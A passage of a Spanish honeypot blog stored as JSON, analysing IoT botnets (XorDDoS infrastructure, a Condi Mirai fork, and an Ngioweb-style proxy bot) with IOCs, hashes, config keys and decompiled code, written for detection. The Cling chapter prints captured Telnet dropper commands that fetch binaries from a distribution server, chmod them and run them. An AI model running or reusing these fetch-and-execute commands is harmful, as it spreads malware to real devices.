telemetry-pipe.sh:1529|api-metadata-v6.is:1529|sys-kernel-update.to:1529 Es exactamente el juego de servidores que se estrenó en febrero de 2026. sys-kernel-update.to resuelve a 141.98.11.51 - la caja de Lituania, junto a los dominios de 2015. visto Di toda la vuelta (una IP, un casero, un inquilino, una familia, 113 muestras ajenas, once años de mudanzas, informes de medio mundo) para volver al punto de partida y descubrir que ya estaba allí. El cebo no fue el principio de un camino que llevaba a otro sitio. El cebo tenía al operador en la mano desde el primer día, con el nombre equivocado encima. Quién más mira estoLos feeds públicos vigilan por rachas. Los dominios islandeses de febrero los fichó alguien el mismo día que se registraron (hay trackers automáticos mirando altas nuevas). En cambio de los cinco dominios del clúster hermano no hay ni un solo registro en los feeds que puedo consultar, y de tres de los cinco de Hong Kong, tampoco. Hay zonas de esta operación que llevan años funcionando sin que nadie las mire. visto Sigue siendo verdadVolví a resolver los siete nombres. Los siete caen en la misma caja, 141.98.11.51 - los seis del clúster de 2015 y sys-kernel-update.to, que es el C2 que saqué con Ghidra en el Capítulo 2. visto No era una foto de agosto: doce días después, todo sigue en su sitio. Y el final, que no es el que quería pero es el que es: no es una botnet sin rostro. Es un rostro que vio un tercero, que yo no puedo leer y que probablemente ni siquiera sea el de mi operador, sino el de quien le vendió el software. Y ya sería la risa que un tío desde su portátil lo identificara y una multinacional del sector no, pero no es el caso. Continuará - el cebo sigue encendido, y el inquilino también. 🍯","date":"2026-08","fam":"XorDDoS","n":16,"spec":"atat456","sum":"Un bot entró en mi cebo, estuvo 62 segundos y se fue. Lo catalogué como Gafgyt y me equivoqué. Una semana después tiré del hilo de sus servidores de mando y acabé en una operación que lleva viva desde 2015, y que ya tenía en la mano desde el primer día.","t":"El inquilino que llevaba once años","tags":["OSINT","XorDDoS","botnet","DDoS","investigación","passive DNS"],"tipo":"Botnet (DDoS)","url":"/capitulo-16/"},{"body":"El domingo parecía tranquilo cuando saltó mi alarma de binarios nuevos. Y me extrañó, porque llevaba días muda. Así que el primer pensamiento fue el mejor de todos los que puede tener alguien con un cebo puesto (algo fresco) y me puse al lío. Aviso antes de empezar, porque este capítulo no es lo que parece. No vengo a explicarte cómo funciona Mirai: eso ya lo hice en el capítulo 3 y en el 4, y repetirlo aburre. Esto es otra cosa, más corta y más rápida: cómo se detecta que algo es nuevo de verdad. Con sus dos tropiezos por el camino, que son la parte que se aprende. 01La corazonada se rompió dos veces La alarma no trajo una cosa: trajo tres. Y las tres pedían la misma pregunta aburrida. 1Un viejo conocido - pero mira quién lo trae Los dos primeros los reconocí enseguida: Trinity, el minero por ADB de los capítulos 10 y 13. Mismos hashes, mismo ciclo, misma cartera. Nada nuevo… hasta que miré de dónde venían. Cuatro visitas en ocho días, y cuatro IPs distintas: tres de China y una de Corea del Sur, todas de red doméstica o móvil, ninguna de hosting, ninguna repite. Eso no es un operador resubiendo su bicho desde un servidor: son cacharros infectados empujándoselo al siguiente. Trinity sigue vivo y propagándose seis años después, y aquí no hay servidor de reparto que tumbar - se pasa de víctima a víctima por el propio cable de depuración. Guárdate ese dato. Al final del capítulo se da de bruces con el otro. Inexacto · en comprobación Lo que sigue tachado no se sostiene tal como está escrito, y todavía no sé hasta dónde. Lo dejo a la vista mientras lo compruebo: borrarlo sería peor que dejarlo mal marcado. Cuando tenga el veredicto, esto pasa a ser una nota de edición como las demás. 2El panel que no era un panel La tercera pieza era distinta y prometía: una página de login de aspecto moderno, en ruso, «OpenWrt Remote Hub», con usuario, contraseña y captcha. ¡Un panel de robo de credenciales! Ya me veía tirando de ese hilo. Además la traía otra IP (desde Finlandia, no desde donde venía Trinity), así que la di por campaña aparte. Hasta que hice la pregunta aburrida: ¿qué es esto exactamente? Y resultó que ni siquiera era malware. Era la pantalla de acceso de un proyecto libre real, sin una sola modificación, idéntica a la de su repositorio. ¿Por qué la había guardado mi cebo como si fuera un payload? Porque el atacante hizo wget contra ese servidor, el servidor respondió un HTTP 401 con su página de login como cuerpo del error, y wget, sin -f, guarda el cuerpo del error tan feliz. La cadena no entregó nada. Las seis «muestras» eran seis mensajes de error. El susto, y por qué no doy el nombre del proyectoEstuve a un descuido de catalogar como malware la portada de un desarrollador honrado. Por eso no lo nombro aquí: no le hace ninguna falta salir en un capítulo sobre botnets, ni siquiera para ser absuelto. Y para reconocerlo no hace falta su nombre, basta la cabecera que devuelve su servidor. Un fichero que el cebo guarda no es necesariamente lo que el atacante quería entregar - antes de analizar, y sobre todo antes de catalogar, hay que mirar qué respuesta HTTP produjo esa captura. 3Y lo que quedaba tampoco era lo que yo creía Descartado el ruido, quedaba lo que sí olía distinto: un servidor en Vietnam repartiendo binarios multi-arquitectura. Mi primer reflejo fue meterlo con Trinity (cayeron el mismo día, por el mismo puerto), y me equivoqué otra vez. Porque en ese dropper no había un solo artefacto de Trinity: ni el APK, ni pm install, ni el binario trinity, ni la cartera, ni el pool. Lo que había era el patrón canónico de un cargador IoT de la escuela Mirai. Y las cuatro IPs que traían Trinity de verdad nunca tocaron esa caja. La vacuna, aplicada dos veces el mismo díaLo único que unía a las tres cosas era el puerto 5555. Y eso no es una relación: es la tasa base. En ocho días, 99 IPs distintas aporrearon ese puerto en mi cebo. Si «ambos van al 5555» no basta para juntar Finlandia con Vietnam, tampoco basta para juntar Vietnam con Trinity. La misma pregunta aburrida (¿de dónde baja esto?) me salvó dos veces en la misma tarde. 02Fui a por ello Y aquí tengo que contar una cosa. El cebo no capturó esos binarios. Guardó los tres scripts de descarga (el mismo en tres sabores: wget, busybox wget y curl), pero no los doce ficheros que esos scripts iban a buscar: adbhoney anota las URLs que ve en el comando y no persigue el curl que va dentro del script. Así que tenía las direcciones y no tenía el bicho. Olía a fresco y tenía que comprobarlo, así que fui yo a por los doce. Nada más: no listé el directorio, no probé credenciales, no forcé rutas. Bajarlos, ponerlos en solo lectura y a mirar. Nunca se ejecutó ninguno. 03Mirai con apellido: Condi Doce ELF estáticos, doce arquitecturas, subidos todos en el mismo segundo. Y el operador cometió un descuido delicioso: de los doce, a uno se le olvidó quitarle los símbolos. Ese detalle no hace falta creérmelo. Está en los tamaños, y los tamaños están publicados: la familia ARM, por tamañocondi.arm 125.504 B condi.arm5 125.504 B condi.arm6 139.004 B condi.arm7 173.966 B # 35 KB de más, para el mismo programa Esos 35 KB son la tabla de símbolos. Y dentro están, en claro, los nombres del código filtrado de Mirai: table_key, attack_tcp_syn, killer_init, resolve_cnc_addr. Hasta la ruta del compilador delata el linaje: los cross-compilers de Aboriginal Linux, que son exactamente los que trae el build de Mirai que se filtró. Un fallo en 1 de 12 y se acabó el anonimato del binario. Pero no es Mirai a secas. Tiene apellido, y lo dice él mismo: en claro en los doce están /var/Condi y condi2. Es Condi, un fork de Mirai cuyo código se publicó en 2023 - lo documentaron entonces FortiGuard y Akamai. El marcador de esta campaña concreta es top1hbt, el equivalente exacto del milnetv4 del capítulo 4. Lo que le han quitado El Condi que documenta FortiGuard busca sus propias víctimas: lleva escáner y explota un fallo de routers TP-Link. Este no tiene escáner - no queda ni un símbolo de esa parte. Se lo han amputado y lo alimentan desde fuera, por el ADB abierto del 5555. No explota ninguna vulnerabilidad: entra por una puerta que no debería estar abierta. Y no es la única amputación. Mirai trae un killer: un módulo que caza los procesos de la competencia y cierra el telnet y el SSH del aparato para que no entre nadie más detrás. Aquí los nombres siguen ahí (killer_init, killer_kill), así que a primera vista parece que está. No está: miden 76 y 48 bytes. Uno hace un fork() y deja al hijo dando vueltas en un bucle de sleep(5); el otro manda una señal y se acabó. La lógica de Mirai no aparece por ninguna parte. Un nombre de función no es una función, y un binario sin strippear regala el análisis pero también invita a fiarse de la etiqueta. Escáner fuera, killer fuera. Lo que queda es un Condi adelgazado a tres cosas: hablar con su centro de mando, atacar, y replicarse por HTTP. Ni busca víctimas ni pelea por la máquina - se la dan hecha y no le importa compartirla. Y lo que le han puesto El Condi público borra ocho binarios de apagado, los ocho bajo /usr/. Este lleva dieciséis: las mismas cuatro órdenes, pero en cuatro rutas. las 16 rutas, en .rodata/sbin/reboot /usr/sbin/reboot /bin/reboot /usr/bin/reboot /sbin/shutdown /usr/sbin/shutdown /bin/shutdown /usr/bin/shutdown /sbin/poweroff /usr/sbin/poweroff /bin/poweroff /usr/bin/poweroff /sbin/halt /usr/sbin/halt /bin/halt /usr/bin/halt No es que sea «más concienzudo»: es que está adaptado al terreno. En los Android y los cacharros embebidos a los que entra por ADB, /usr muchas veces ni existe. Escáner fuera, rutas nuevas dentro - las dos cosas apuntan al mismo sitio. Y no basta con que las cadenas estén ahí: hay que ver qué hace con ellas. Están en main, no en el killer desahuciado, y el mecanismo es el mismo en ARM y en x86-64 - copia las dieciséis a la pila y desenrolla dieciséis llamadas seguidas, una por ruta. La instrucción es unlink. Lo que eso significa para el dueño del cacharroNo intercepta el apagado: borra los ficheros. Los dieciséis, del disco. La gracia es doble y bastante mala: si al aparato le va la luz, Condi se va (no sobrevive al reinicio, como todo Mirai), pero su dueño ya no tiene con qué apagarlo ordenadamente, y eso no se arregla solo. Hay que reinstalar. No solo te usa la máquina: te rompe el botón de apagar. El truco tonto que esconde el C2 La configuración va cifrada con XOR, como todo Mirai. La clave del binario son cuatro bytes, 0x6d53d2c2, pero Mirai XORea cada byte con los cuatro, así que la clave efectiva es de uno solo: 0x6d^0x53^0xd2^0xc2 = 0x2e. Y 0x2e es, casualmente, el código del punto. Así que al cifrar el dominio del C2 sus puntos se convierten en ceros, y el nombre queda partido en trozos que a strings le parecen basura de dos, ocho y cuatro letras. Nadie eligió esa clave: le salió sola de los cuatro bytes. No hay astucia - hay suerte. Descifrado, el centro de mando es cc.nhancute[.]site, puerto 47925 (ese no está en la tabla: va incrustado en el código). Y el detalle bonito: ese dominio resuelve a la misma caja de Vietnam que reparte los binarios. El servidor de reparto es el C2. 04Cuatro chapuzas y un tercio de la red cojo El binario está diseñado para no depender de esa caja: cada bot infectado levanta su propio servidor HTTP (en un puerto alto al azar, mintiendo con un Server: Apache que no es Apache) se descarga los binarios de la semilla y los sirve al siguiente. La fanfarronada que lleva dentro empieza, literalmente, por «Self Rep». Diseño impecable. Ejecución, menos: Las etiquetas cruzadas. El fichero que el dropper llama sh4 es en realidad SPARC, y el que llama spc es Renesas SH. Están intercambiados. Una arquitectura que no está en la lista. El array interno de nombres tiene once entradas, no doce: falta spc. Y el bucle se para antes. De esas once, el código que replica solo recorre ocho - y no por un despiste en un sitio: la descarga está escrita dos veces, desenrollada en el arranque del servidor y en bucle dentro de main. Las dos se paran en ocho. El límite está puesto por duplicado. Sumado: cuatro de las doce arquitecturas no se replican jamás desde un bot. El PowerPC, el 68k, el x86 y el SPARC solo se pueden servir desde Vietnam. Un bicho pensado para que tumbar la semilla no le duela… que depende de la semilla para un tercio de sus dianas. 05¿Cómo se fecha algo que no está en ninguna parte? Y ahora la parte que justifica el título. Este bicho no está sin catalogar por sigiloso: está sin catalogar porque acababa de nacer. Pero demostrar eso tiene truco, y el truco es saber qué reloj mide qué. Lo primero que hice fue mirar los feeds. Y salieron mudos: GreyNoise no tenía nada de la caja de reparto, el DNS pasivo estaba vacío, urlscan a cero, Shodan sin información. Cuatro silencios. La tentación es cantar bingo. Dos de esos silencios no valen nadaGreyNoise mide escaneo, y esa caja no escanea: sirve ficheros. Estaría muda igual llevara un día o llevara un año. (Su vecina, la que sí atacó mi cebo, sí sale fichada como maliciosa.) Y el DNS pasivo está vacío porque reparte por IP cruda, sin dominio - no hay nada que registrar. Ese silencio es función, no frescura. Me habría encantado apuntarme cuatro relojes; tengo dos. El reloj bueno es otro, y es el que el atacante no controla: la transparencia de certificados. Cuando su dominio estrenó el certificado automático de Cloudflare, quedó una entrada fechada en un registro público que él no puede tocar ni borrar. Cruzada con el RDAP del dominio, la historia es cortísima: tres relojes ajenos, la misma mañana29 ago 07:24:11 UTC se registra el dominio # RDAP · GMO/Onamae 29 ago 07:54:11 UTC aparece en el log CT # crt.sh 29 ago 09:50:30 UTC se suben los 12 binarios # Last-Modified + ETag 30 ago ~mediodía me golpean # menos de 30 h después El certificado dice ser más viejo que su propio dominioSi miras el campo not_before de ese certificado pone 06:52 - treinta y dos minutos antes de que el dominio existiera. No es una anomalía ni una pista: es que las autoridades de certificación antedatan ese campo para absorber desfases de reloj entre servidores. La hora honesta de «esto apareció en público» es la de la entrada en el log, 07:54. Un reloj bueno mal leído es un reloj malo. Me vais a perdonar una cosaEsta vez no doy la hora exacta del ataque. Con un bicho tan recién nacido, el que lo lanzó tiene sus propios registros de «a quién golpeé a tal segundo», y cruzarlos con un «me atacó a tal hora» le pondría mi cebo en bandeja. Las horas de arriba son las de su infraestructura, que son públicas; la mía va redondeada. La historia no pierde nada. Y el dato que lo remata MalwareBazaar guarda muestras de malware desde 2020. Cuando busqué la etiqueta condi, había una sola muestra, subida en mayo de 2023 por otra persona: la del código público cuando se filtró. Una, en tres años y tres meses. Los doce hashes de esta campaña no estaban. Ni ahí, ni en ningún otro sitio donde miré. No es que se escondiera bien: es que no le había dado tiempo a que nadie lo fichara. Ahora hay trece. Doce las subí yo. Y esto lo pude fechar porque guardé la basuraCuando bajé los doce binarios no me quedé solo con los ficheros: guardé también las cabeceras HTTP que devolvía el servidor, en un directorio aparte. Parecía papeleo. Sin ellas, ese «menos de treinta horas» de arriba sería una impresión mía. Con ellas son tres relojes que no se hablan entre sí y dicen lo mismo: el Last-Modified (idéntico al segundo en los doce ficheros), la fecha que va dentro del ETag, y el tamaño que va también dentro del ETag, que además cuadra con el Content-Length y con el fichero que tengo en disco. Tres formas distintas de preguntar lo mismo, tres veces la misma respuesta. Edad medida: 29,87 horas. Es una costumbre barata (guardar lo que el servidor te dice de paso) y convierte una corazonada en un número. 06Indicadores (IOCs) Los doce hashes están en el catálogo con su enlace a MalwareBazaar. Lo demás, para quien quiera reconocerlo o cortarlo: TipoValor C2 y servidor de repartocc.nhancute[.]site : 47925 → 160.250.181.124 (VPSRE, Vietnam, AS150895) IP atacante (ADB)160.250.181.123 - la vecina; barre primero y carga después Alta del dominio2026-08-29 07:24:11 UTC · GMO/Onamae · NS de Cloudflare · sin DNSSEC Rutas de reparto/k7m2q9xa/ + 12 nombres de 6 caracteres · droppers /b4k9zp.sh, /a7m2qx.sh, /c8r3nv.sh Marcador de campañatop1hbt (top1hbt.arm … top1hbt.x86_64, lo que cada bot re-sirve) Autoidentificación/var/Condi · condi2 %s:%d · webserv Clave de la configtable_key = 0x6d53d2c2 → XOR efectivo de 1 byte 0x2e Protocolo bot↔C2cabecera 66 99 66 + longitud (2 B) + carga (ping, condi2 webserv:\u0026lt;puerto\u0026gt;) Huella del httpd del botServer: Apache (falso) · cliente User-Agent: Update v1.0 · puerto alto aleatorio Anti-reinicioborra con unlink 16 rutas: {/sbin, /usr/sbin, /bin, /usr/bin} × {reboot, shutdown, poweroff, halt} Módulos amputadossin scanner_* · killer_init (76 B) y killer_kill (48 B) vaciados - los símbolos están, la lógica de Mirai no Certificadonhancute.site + *.nhancute.site · Google Trust Services WE1 · CT 2026-08-29 07:54:11 UTC VectorADB abierto (tcp/5555). Sin CVE: es mala configuración, no vulnerabilidad Estado a 11 de septiembre de 2026 · duró trece díascc.nhancute.site ya no resuelve, ni él ni su dominio raíz. Se dio de alta el 29 de agosto y estaba muerto antes del 11 de septiembre: trece días de vida. Y el reparto de papeles que aquí arriba me limitaba a intuir (una barre y la otra carga) ahora tiene número: · 160.250.181.123, la que ataca: 491 denuncias, puntuación de riesgo del 100 %. · 160.250.181.124, la que guarda la mercancía y hace de centro de mando: 3 denuncias, 22 %. La misma táctica que KHserver, en otra familia y con los mismos números descompensados: se quema la ruidosa, se protege la que importa. Y ese «trece días» merece una comparación, porque es lo más corto que ha dado este cebo. Condi murió en trece días. RedTail seguía bajando a mi cebo el día que escribo esto, casi tres semanas después de que le dedicara un capítulo - los mismos cinco binarios, sin recompilar. Dos familias, el mismo negocio de fondo, y una diferencia de tiempos que no se parece en nada. Y si has llegado hasta aquí desde una ficha de MalwareBazaar: esto es lo que esa ficha no te puede dar - cómo cayó. Continuará - el cebo sigue encendido. Y este, por una vez, no se quedó en mi laboratorio: está donde los que hacen detección puedan usarlo. Me hacía ilusión, la verdad. 🍯","date":"2026-08","fam":"Mirai","n":17,"spec":"Condi (fork de Mirai)","sum":"Un domingo tranquilo, mi alarma de binarios nuevos saltó tras días muda. El primer pensamiento fue el mejor de todos: algo fresco. Lo que vino después fue una montaña rusa - un viejo conocido, un falso positivo que casi me la cuela, y por fin un bicho que no figuraba en ningún repositorio público, cazado a menos de treinta horas de nacer.","t":"Recién salido del horno","tags":["Mirai","Condi","botnet","DDoS","ADB","IoT","OSINT","honeypot"],"tipo":"Botnet (DDoS)","url":"/capitulo-17/"},{"body":"Cuando cae uno nuevo, los primeros indicios apuntan a lo de siempre: cojo su hash, lo busco en VirusTotal, y media docena de motores lo cantan «Mirai». Y no es un estreno: esta familia (la bauticé Cling, y en el destripe se verá por qué (el bicho, literalmente, firma su obra)) campa por VirusTotal desde hace semanas. El reflejo es archivarlo: otro bot de tumbar servidores. Pero antes de archivar, miré cómo había entrado. Y ahí ya empezó a no cuadrar. 01La captura No entró probando contraseñas. Entró un aparato que ya estaba infectado: una IP, 85.11.167.132, se conectó por Telnet al cebo, y en lugar de explorar, pegó de golpe una ristra de comandos - la receta que ese nodo del reparto suelta contra el siguiente. Nuestro cebo fue, esta vez, «el siguiente». Los comandos, tal cual llegaron (agrupados, porque venían a chorro): lo que pegó en el telnet# 1) intenta un guion cargador, con wget y con busybox wget por si falta uno cd /tmp; rm -rf wget.sh wget hxxp://118.145.196[.]225:800/wget.sh busybox wget hxxp://118.145.196[.]225:800/wget.sh sh wget.sh telnet # 2) y a lo bruto: un binario por arquitectura, cada uno con NOMBRE DISTINTO cd; rm -rf 5x2b96g7; wget …:800/yy7atflk/5x2b96g7; chmod 777 5x2b96g7; ./5x2b96g7 telnet cd; rm -rf obn2b6lh; wget …:800/yy7atflk/obn2b6lh; chmod 777 obn2b6lh; ./obn2b6lh telnet # … y así con: v6kyo484 · kml6vqk1 · sevpqwpf · gr84is20 · 1t960jbq # c2uytx93 · 6bpx8p17 · yee32jdx · 2sdqu9iu (once en total) Es la misma estrategia de escopeta que ya vimos en Mirai y en KHserver: dispara los once y que arranque el que case con la CPU de la víctima; los otros diez fallan en silencio. Prueba wget y busybox wget (cinturón y tirantes, porque en un router a lo mejor solo hay uno), y a cada binario lo lanza con un argumento: telnet. Ese telnet del final no es el protocoloes la etiqueta del vector: quien infecta le pasa al bicho, como argumento, por dónde lo metió, y el bot lo reportará a su central. Aquí fue telnet. Pero cuidado con una pista falsa que aclaro en el siguiente: telnet no es una puerta que este bicho sepa abrir. La etiqueta cuenta cómo llegó, no lo que sabe hacer. «Entró por telnet» no es «hace fuerza bruta»Que golpee nuestro telnet no significa que el bicho sepa adivinar contraseñas - cuando lo abra, veremos que no lleva ni una credencial, ni un escáner de Telnet. Quien fuerza el telnet y suelta la receta es otra pieza: un cargador de telnet aparte, parte de la maquinaria de reparto, que va por delante empujando el bicho al siguiente aparato. La IP que nos atacó es un nodo de ese reparto, no la guarida de nadie. (Cling sí se propaga por su cuenta, pero por otras puertas - las veremos en el destripe.) 02Once nombres, y ninguno se repite Fíjate en los nombres de los binarios: 5x2b96g7, obn2b6lh, yee32jdx… ocho caracteres al azar, uno por arquitectura. No son descriptivos (no dicen arm ni mips), y cambian en cada entrega: cuando el mismo servidor sirvió esta receta unas horas después, los nombres eran otros distintos. Todos cuelgan de un único sitio, el servidor de reparto: el repartohxxp://118.145.196[.]225:800/wget.sh # el guion cargador hxxp://118.145.196[.]225:800/yy7atflk/\u0026lt;nombre\u0026gt; # un binario por arquitectura Y aquí está el primer detalle de diseño: bloquear por nombre de fichero no sirve de nada. Es la misma idea del galimatías aleatorio del capítulo 1 y de los nombres que rotaban en el 3, pero llevada al servidor: cada víctima recibe nombres nuevos, así que dos aparatos infectados nunca comparten el mismo rastro en disco, y ninguna regla que busque «un fichero llamado X» acierta. Vale, pensé - el nombre da igual, para eso está el hash, que sí es estable. Bajé los tres binarios que mi cebo llegó a guardar y me dispuse a fichar sus hashes. 03Dos ficheros, el mismo programa De los tres que capturé, dos pesan exactamente lo mismo (53 956 bytes, los dos que file llama «Intel 80386») y sin embargo tienen hash distinto. Dos ficheros del mismo tamaño y firma diferente huelen a dos versiones, o a una recompilación para estrenar hash. Fui a ver qué había cambiado, byte a byte. diff de los dos i386 · byte a bytetamaño 53.956 B = 53.956 B # idéntico bytes que difieren 11.282 # el 21% del fichero — y casi todo, código Once mil bytes. Parece una variante nueva. Pero un compilador es determinista: el mismo fuente con las mismas opciones da los mismos bytes, siempre. Si cambian once mil, cambió algo - y al mirar qué, la respuesta no era «lo recompilaron por recompilar». la diferencia que lo explica6bpx8p17: cmovbe ecx, eax # una instrucción CMOV c2uytx93: cmp eax, 0x1d + jbe # lo mismo, hecho SIN CMOV Esa instrucción, cmov, solo existe a partir del i686 (Pentium Pro, 1995); el i586 no la tiene, y el compilador la sustituye por un comparar-y-saltar. Así que no son dos recompilaciones del mismo objetivo: son las builds i586 e i686 del mismo programa. Los once mil bytes cambian no porque alguien tocara el código, sino porque están compiladas para dos generaciones de CPU distintas. Y eso resuelve un cabo suelto de la captura: por qué de «un binario por arquitectura» me quedaron dos «i386». No son dos copias del mismo: son el x86 de 32 bits para i586 y para i686, dos de los once que reparte el cargador. file los llama «80386» a los dos; el juego de instrucciones los delata. Este par, entonces, no prueba ninguna rotación de hash - es un espejismo, y una lección de no leer de más un diff. Entonces, ¿de dónde sale lo de «no hay hash que valga»?De la escala, no de este par. La oleada (la siguiente sección) reparte decenas de binarios distintos, con hashes distintos, y con nombres que rotan en cada entrega. Ahí es donde el bloqueo por firma se queda sin nada a lo que agarrarse. Por eso los hashes que fiche al final de este capítulo valen poco: lo que caza a este bicho no es su firma, es su comportamiento. 04Una oleada, no un bicho suelto Un apunte antes de abrirlo, porque cambia la escala de lo que estamos mirando: esto no es un binario perdido que pasaba por aquí. Cuando busqué la familia en VirusTotal, no había una muestra ni dos - había más de medio centenar, fechadas entre el 21 de agosto y primeros de septiembre, compiladas para media docena de arquitecturas (armv4l, v5, v6, v7, i586, i686, aarch64…). Una oleada grande y todavía rodando. Y aquí está la rotación de firma de verdad (no en los dos de antes, sino en la escala): medio centenar de binarios con hashes distintos en dos semanas. El hash es del contenido, así que no es el mismo renombrado: son builds nuevas, servidas con nombres que cambian cada pocas horas. Ninguna lista de firmas le sigue el ritmo a eso. Nuestro cebo no cazó «un bicho»: cazó un fotograma de una campaña que llevaba dos semanas en marcha. Y todas esas muestras, las cincuenta y pico, comparten algo que será la clave del tercer capítulo - pero para eso primero hay que abrir una. 05El espécimen Los tres binarios que el cebo llegó a guardar (de los once que se dispararon, solo esos tres cuajaron una descarga distinta). ELF estáticos y stripped. ESPÉCIMEN 006 · ELF ×3 Cling · bot IoT VirusTotal lo canta Mirai - pero ya veremos ◈ VIVO · NO EJECUTAR TipoELF estático · stripped · aarch64 · i686 · i586 Tamaño53.956 B (i386) · 62.384 B (aarch64) Entregaescopeta multiarquitectura por Telnet · nombres rotativos Funciónno es lo que parece - se destripa en el Cap. 19 Etiqueta de vectortelnet (argumento con que se lanza) SHA-2561631e63e… (aarch64) · 1b831a93… (i686) · 52bff4bf… (i586) 06¿De dónde sale todo esto? OSINT pasivo - bases de datos de terceros, sin tocar ninguna de las dos máquinas. Hay dos IPs en esta captura, y hacen cosas distintas: IPPapelQuién es (OSINT) 85.11.167.132el que atacó (nodo infectado)solo 22/tcp abierto · fichada como maliciosa · AS197170 TechTies (NL), con mantenedor SOFCOMPANY (BG) - rango registrado en junio de 2026, once semanas antes del ataque 118.145.196.225:800servidor de repartoBeijing Volcano Engine (ByteDance, CN) · 10 motores la dan por maliciosa Un detalle que se entiende en el próximo capítuloEl servidor de reparto 118.145.196.225 no está escrito dentro del binario. No lo lleva puesto: se lo dice su central en caliente. Por eso el wget.sh y la caja que reparte son intercambiables sin recompilar - y por eso, cuando abra el bicho, no encontraré ahí ninguna dirección de reparto. Es una pieza más del mismo diseño: nada fijo, nada que fichar. 07Indicadores (IOCs) De la infección. Los del bicho por dentro van en el próximo. TipoValor IP atacante (nodo infectado)85.11.167.132 Servidor de repartohxxp://118.145.196[.]225:800/ (wget.sh · /yy7atflk/\u0026lt;nombre\u0026gt;) Patrón del loaderescopeta multiarquitectura por Telnet · nombres de 8 chars aleatorios que rotan · arg telnet Familia en VirusTotal\u0026gt;50 muestras trojan.mirai con la cadena .cling · 2026-08-21 → 09-01 · armv4l/5l/6l/7l · i586 · i686 · aarch64 SHA-256 (caducan: recompila)1631e63ee373601c1f42f2674f996fc6c14dc6aebe45ca5d2395bf347a0e3661 (aarch64) 1b831a9366cd53a4127f885dab247bc2f0b3f661a7d9d9510bbd0a9f150bfb27 (i686) 52bff4bf58eb6031c16763b12b696e849a38f36e69c55402a444819cb9c1bc0e (i586) Continuará - y aquí viene lo bueno. Bajé los tres binarios, los abrí esperando el arsenal de DDoS de siempre… y no había ni una sola función de ataque. Lo que había era otra cosa que no había visto entrar por aquí. En el Capítulo 19 lo destripo. 🍯","date":"2026-09","fam":"Cling","n":18,"spec":"Cling (proxy IoT)","sum":"Una IP que ya estaba infectada se conectó por telnet al cebo y pegó de golpe una receta: once binarios, uno por arquitectura, cada uno con un nombre inventado que no se repetirá nunca. Dos pesaban exactamente lo mismo y parecían variantes - resultaron ser las builds i586 e i686 del mismo programa. Y detrás no venía un bicho suelto: medio centenar de binarios distintos en dos semanas. La entrega entera está montada para que ninguna lista de bloqueo, ni por nombre ni por firma, atrape nada.","t":"Nada que fichar","tags":["Ngioweb","NSOCKS","proxy","IoT","botnet","honeypot"],"tipo":"Proxy residencial IoT (Ngioweb / NSOCKS)","url":"/capitulo-18/"},{"body":"En el capítulo anterior cacé la infección: una escopeta multiarquitectura, nombres que rotan, una oleada de binarios con hashes que cambian a cada poco. VirusTotal lo canta «Mirai», todo apuntaba a otro bot de DDoS - así que lo abrí con Ghidra buscando su arsenal de ataque. No hay ninguno. Y esa ausencia es el capítulo entero. 01No sabe atacar Un bot de la escuela Mirai lleva dentro una tabla de métodos de ataque (attack_udp, attack_tcp, floods de todo tipo) y un protocolo de C2 con opcodes para dispararlos. Fui a buscarlo y no encontré nada: ni la tabla de métodos de ataque, ni un solo flood de ningún tipo, ni una credencial o un escáner de Telnet, ni un opcode de ataque en su C2. Ni una función de ataque. No ofuscadas, no escondidas: ausentes. Y no es que no mirara bien: en todo el binario hay un solo socket crudo (el que hace falta para fabricar un paquete a mano) y no es de ningún flood, es del escáner: el que dispara sus sondeos con el puerto de origen clavado en 9999. Ni uno más. Un bot de DDoS sin forma de hacer daño es un contrasentido. Entonces, ¿qué es? Lo dice su propio bucle de mando: lee el byte de la orden y salta a una de siete ramas (ni una más), y ninguna es un ataque. ghidra · el bucle de mando despacha la orden (recortado)switch (orden - 1) { // 7 ramas = 4 acciones + sus 3 apagados case 0: FUN_080491e7(); // 1 · shell (system con lo que descargue) case 1: … FUN_0804a77c(); // 2 · escáner + cargador case 2: … // 3 · apaga el escáner (cierra sus sockets, sin función propia) case 3: … FUN_08049b45(); // 4 · relay TCP inverso case 4: … // 5 · apaga el relay case 5: … FUN_08049469(); // 6 · túnel SOCKS case 6: … // 7 · apaga el túnel } // 4 funciones, ni una de ataque — no hay flood, no hay una octava rama Las cuatro órdenes que de verdad hacen algo (las otras tres solo las apagan): Un shell remoto. Una orden abre una conexión, lee lo que le manden y lo pasa a system(). Ejecución de comandos a la carta. Un escáner con cargador. Busca víctimas nuevas (por su catálogo de exploits, no por telnet) y les inyecta el bicho: es su propia forma de propagarse (a fondo en el §06). Un relay TCP inverso. Escucha en un puerto y reenvía cada conexión hacia otra dirección: hace de tubería. Un túnel multiplexado tipo SOCKS. Protocolo de tramas propio, hasta 254 canales a la vez, TCP y UDP. De las cuatro, el escáner es solo cómo consigue más nodos; las otras tres (shell, relay y túnel) son el negocio: no tumbar servicios, sino dar acceso y dar salida. Es un nodo de proxy - una tubería por la que el tráfico de otro sale a internet con la cara de un cacharro doméstico infectado. Los repositorios la etiquetan Ngioweb (el motor del servicio de proxy residencial NSOCKS), aunque esa etiqueta tiene matices que veremos en el hilo. Nada de eso lo saben los motores que lo llaman «DDoS». Lo que desmonta este capítuloLa suposición de que un bicho de IoT que se propaga con los exploits de siempre y que los AV llaman «Mirai» es, por defecto, una botnet de DDoS. Este no lo es, y lo demuestra el código: cero funciones de ataque, y en cambio un túnel SOCKS con 254 canales. Toda la fauna IoT del blog (Gafgyt, Mirai, Condi) viene a tumbar. Este viene a colarse. Mismos aparatos, mismos exploits, negocio distinto. 02Las siete órdenes La tabla de saltos del C2 tiene siete entradas. Las recuperé una a una: OrdenQué hace 1Shell remoto: descarga un comando de una IP:puerto y lo pasa a system() 2Arranca el escáner/propagador. La IP:puerto es el cargador que inyectará en las víctimas nuevas 3Para el escáner 4Relay TCP inverso hacia una IP:puerto (solo si el equipo tiene IP pública) 5Para el relay 6Túnel tipo SOCKS: 254 canales, abrir/datos/cerrar, TCP y UDP 7Para el túnel La orden 2 explica un cabo suelto del capítulo anterior: el servidor de reparto no está en el binario porque llega aquí, en una orden. El operador le dice al bot desde qué IP servir los binarios a las próximas víctimas. Cargador y servidor son intercambiables sin recompilar - nada fijo, otra vez. Y no hay nada que descifrarEn XorDDoS (cap. 2), Mirai (4) y Sysorbit (8) el primer paso era romper un cifrado. Aquí no hay ninguno: todas las cadenas van en claro, la entropía de los datos es la de un texto normal, no hay ni un bloque cifrado. La «config» de Cling es dinámica (la etiqueta llega en argv[1], todo lo demás en órdenes), así que no hay config que sacar. Es un diseño que frustra al que abre el binario buscando el secreto: no lo lleva encima. 03El 